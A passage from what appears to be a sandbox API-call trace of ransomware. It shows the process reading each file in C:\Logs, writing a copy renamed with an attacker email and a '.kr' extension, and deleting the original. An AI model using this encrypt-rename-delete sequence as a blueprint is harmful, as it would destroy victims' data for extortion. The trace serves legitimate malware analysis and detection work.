Explorer.evtx") returned 30 [0096.080] lstrlenW (lpString=".dbf") returned 4 [0096.080] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.080] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0096.080] lstrlenW (lpString=".1cd") returned 4 [0096.080] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.080] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0096.080] lstrlenW (lpString=".jpg") returned 4 [0096.080] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.080] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0096.080] lstrlenW (lpString="Key Management Service.evtx") returned 27 [0096.080] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0096.081] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0096.081] CloseHandle (hObject=0x358) returned 1 [0096.081] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0096.081] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.081] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0096.081] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.081] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.081] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0096.081] GetLastError () returned 0x0 [0096.081] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0096.483] WriteFile (in: hFile=0x360, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0096.485] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.485] WriteFile (in: hFile=0x360, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x10a, lpOverlapped=0x0) returned 1 [0096.485] SetEndOfFile (hFile=0x360) returned 1 [0096.486] CloseHandle (hObject=0x360) returned 1 [0096.488] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.489] SetEndOfFile (hFile=0x358) returned 1 [0096.490] CloseHandle (hObject=0x358) returned 1 [0096.490] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0096.490] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0096.491] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.491] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.491] lstrlenW (lpString=".doc") returned 4 [0096.491] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.491] lstrlenW (lpString=".docx") returned 5 [0096.491] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.491] lstrlenW (lpString=".pdf") returned 4 [0096.491] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.491] lstrlenW (lpString=".xls") returned 4 [0096.491] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.491] lstrlenW (lpString=".xlsx") returned 5 [0096.491] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.491] lstrlenW (lpString=".ppt") returned 4 [0096.491] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.491] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.491] lstrlenW (lpString=".zip") returned 4 [0096.491] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.491] lstrlenW (lpString=".rar") returned 4 [0096.491] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.492] lstrlenW (lpString=".bz2") returned 4 [0096.492] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.492] lstrlenW (lpString=".7z") returned 3 [0096.492] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.492] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.492] lstrlenW (lpString=".dbf") returned 4 [0096.492] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.492] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.492] lstrlenW (lpString=".1cd") returned 4 [0096.492] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.492] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.492] lstrlenW (lpString=".jpg") returned 4 [0096.492] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.492] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.492] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.492] lstrlenW (lpString=".doc") returned 4 [0096.492] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.492] lstrlenW (lpString=".docx") returned 5 [0096.492] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.492] lstrlenW (lpString=".pdf") returned 4 [0096.492] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.492] lstrlenW (lpString=".xls") returned 4 [0096.492] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.492] lstrlenW (lpString=".xlsx") returned 5 [0096.492] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.492] lstrlenW (lpString=".ppt") returned 4 [0096.493] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.493] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.493] lstrlenW (lpString=".zip") returned 4 [0096.493] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.493] lstrlenW (lpString=".rar") returned 4 [0096.493] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.493] lstrlenW (lpString=".bz2") returned 4 [0096.493] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.493] lstrlenW (lpString=".7z") returned 3 [0096.493] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.493] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.493] lstrlenW (lpString=".dbf") returned 4 [0096.493] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.493] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.493] lstrlenW (lpString=".1cd") returned 4 [0096.493] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.493] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0096.493] lstrlenW (lpString=".jpg") returned 4 [0096.493] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.493] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0096.493] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71 [0096.493] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0096.495] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=1052672) returned 1 [0096.495] CloseHandle (hObject=0x358) returned 1 [0096.495] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0096.495] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.495] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0096.495] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.495] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.495] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0096.496] GetLastError () returned 0x0 [0096.496] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0096.519] WriteFile (in: hFile=0x360, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0097.321] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x1010, lpOverlapped=0x0) returned 1 [0097.332] WriteFile (in: hFile=0x360, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x1020, lpOverlapped=0x0) returned 1 [0097.337] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0097.337] WriteFile (in: hFile=0x360, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x162, lpOverlapped=0x0) returned 1 [0097.337] SetEndOfFile (hFile=0x360) returned 1 [0098.299] CloseHandle (hObject=0x360) returned 1 [0098.330] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0098.330] SetEndOfFile (hFile=0x358) returned 1 [0098.331] CloseHandle (hObject=0x358) returned 1 [0098.331] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0098.332] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0098.332] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.332] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.332] lstrlenW (lpString=".doc") returned 4 [0098.332] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0098.332] lstrlenW (lpString=".docx") returned 5 [0098.332] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0098.332] lstrlenW (lpString=".pdf") returned 4 [0098.332] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0098.332] lstrlenW (lpString=".xls") returned 4 [0098.333] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0098.333] lstrlenW (lpString=".xlsx") returned 5 [0098.333] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0098.333] lstrlenW (lpString=".ppt") returned 4 [0098.333] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0098.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.333] lstrlenW (lpString=".zip") returned 4 [0098.333] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0098.333] lstrlenW (lpString=".rar") returned 4 [0098.333] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0098.333] lstrlenW (lpString=".bz2") returned 4 [0098.333] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0098.333] lstrlenW (lpString=".7z") returned 3 [0098.333] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0098.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.333] lstrlenW (lpString=".dbf") returned 4 [0098.333] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0098.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.333] lstrlenW (lpString=".1cd") returned 4 [0098.333] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0098.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.333] lstrlenW (lpString=".jpg") returned 4 [0098.333] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0098.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.334] lstrlenW (lpString=".doc") returned 4 [0098.334] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0098.334] lstrlenW (lpString=".docx") returned 5 [0098.334] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0098.334] lstrlenW (lpString=".pdf") returned 4 [0098.334] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0098.334] lstrlenW (lpString=".xls") returned 4 [0098.334] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0098.334] lstrlenW (lpString=".xlsx") returned 5 [0098.334] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0098.334] lstrlenW (lpString=".ppt") returned 4 [0098.334] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0098.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.334] lstrlenW (lpString=".zip") returned 4 [0098.334] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0098.334] lstrlenW (lpString=".rar") returned 4 [0098.334] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0098.334] lstrlenW (lpString=".bz2") returned 4 [0098.334] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0098.334] lstrlenW (lpString=".7z") returned 3 [0098.334] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0098.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.334] lstrlenW (lpString=".dbf") returned 4 [0098.334] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0098.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.334] lstrlenW (lpString=".1cd") returned 4 [0098.335] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0098.335] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0098.335] lstrlenW (lpString=".jpg") returned 4 [0098.335] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0098.335] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0098.335] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55 [0098.335] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0099.350] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0099.350] CloseHandle (hObject=0x374) returned 1 [0099.350] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0099.350] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.350] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0099.350] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.350] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.350] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0099.351] GetLastError () returned 0x0 [0099.351] ReadFile (in: hFile=0x374, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.353] WriteFile (in: hFile=0x37c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.355] ReadFile (in: hFile=0x374, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.355] WriteFile (in: hFile=0x37c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x142, lpOverlapped=0x0) returned 1 [0099.356] SetEndOfFile (hFile=0x37c) returned 1 [0099.356] CloseHandle (hObject=0x37c) returned 1 [0099.358] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.358] SetEndOfFile (hFile=0x374) returned 1 [0099.360] CloseHandle (hObject=0x374) returned 1 [0099.360] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.360] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0099.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.360] lstrlenW (lpString=".doc") returned 4 [0099.360] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.360] lstrlenW (lpString=".docx") returned 5 [0099.360] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.361] lstrlenW (lpString=".pdf") returned 4 [0099.361] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.361] lstrlenW (lpString=".xls") returned 4 [0099.361] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.361] lstrlenW (lpString=".xlsx") returned 5 [0099.361] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.361] lstrlenW (lpString=".ppt") returned 4 [0099.361] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.361] lstrlenW (lpString=".zip") returned 4 [0099.361] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.361] lstrlenW (lpString=".rar") returned 4 [0099.361] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.361] lstrlenW (lpString=".bz2") returned 4 [0099.361] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.361] lstrlenW (lpString=".7z") returned 3 [0099.361] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.361] lstrlenW (lpString=".dbf") returned 4 [0099.361] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.361] lstrlenW (lpString=".1cd") returned 4 [0099.361] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.361] lstrlenW (lpString=".jpg") returned 4 [0099.361] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.361] lstrlenW (lpString=".doc") returned 4 [0099.361] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.362] lstrlenW (lpString=".docx") returned 5 [0099.362] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.362] lstrlenW (lpString=".pdf") returned 4 [0099.362] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.362] lstrlenW (lpString=".xls") returned 4 [0099.362] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.362] lstrlenW (lpString=".xlsx") returned 5 [0099.362] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.362] lstrlenW (lpString=".ppt") returned 4 [0099.362] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.362] lstrlenW (lpString=".zip") returned 4 [0099.362] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.362] lstrlenW (lpString=".rar") returned 4 [0099.362] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.362] lstrlenW (lpString=".bz2") returned 4 [0099.362] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.362] lstrlenW (lpString=".7z") returned 3 [0099.362] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.362] lstrlenW (lpString=".dbf") returned 4 [0099.362] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.362] lstrlenW (lpString=".1cd") returned 4 [0099.362] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0099.362] lstrlenW (lpString=".jpg") returned 4 [0099.362] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.363] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.363] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49 [0099.363] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0099.363] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0099.363] CloseHandle (hObject=0x374) returned 1 [0099.363] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0099.363] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: 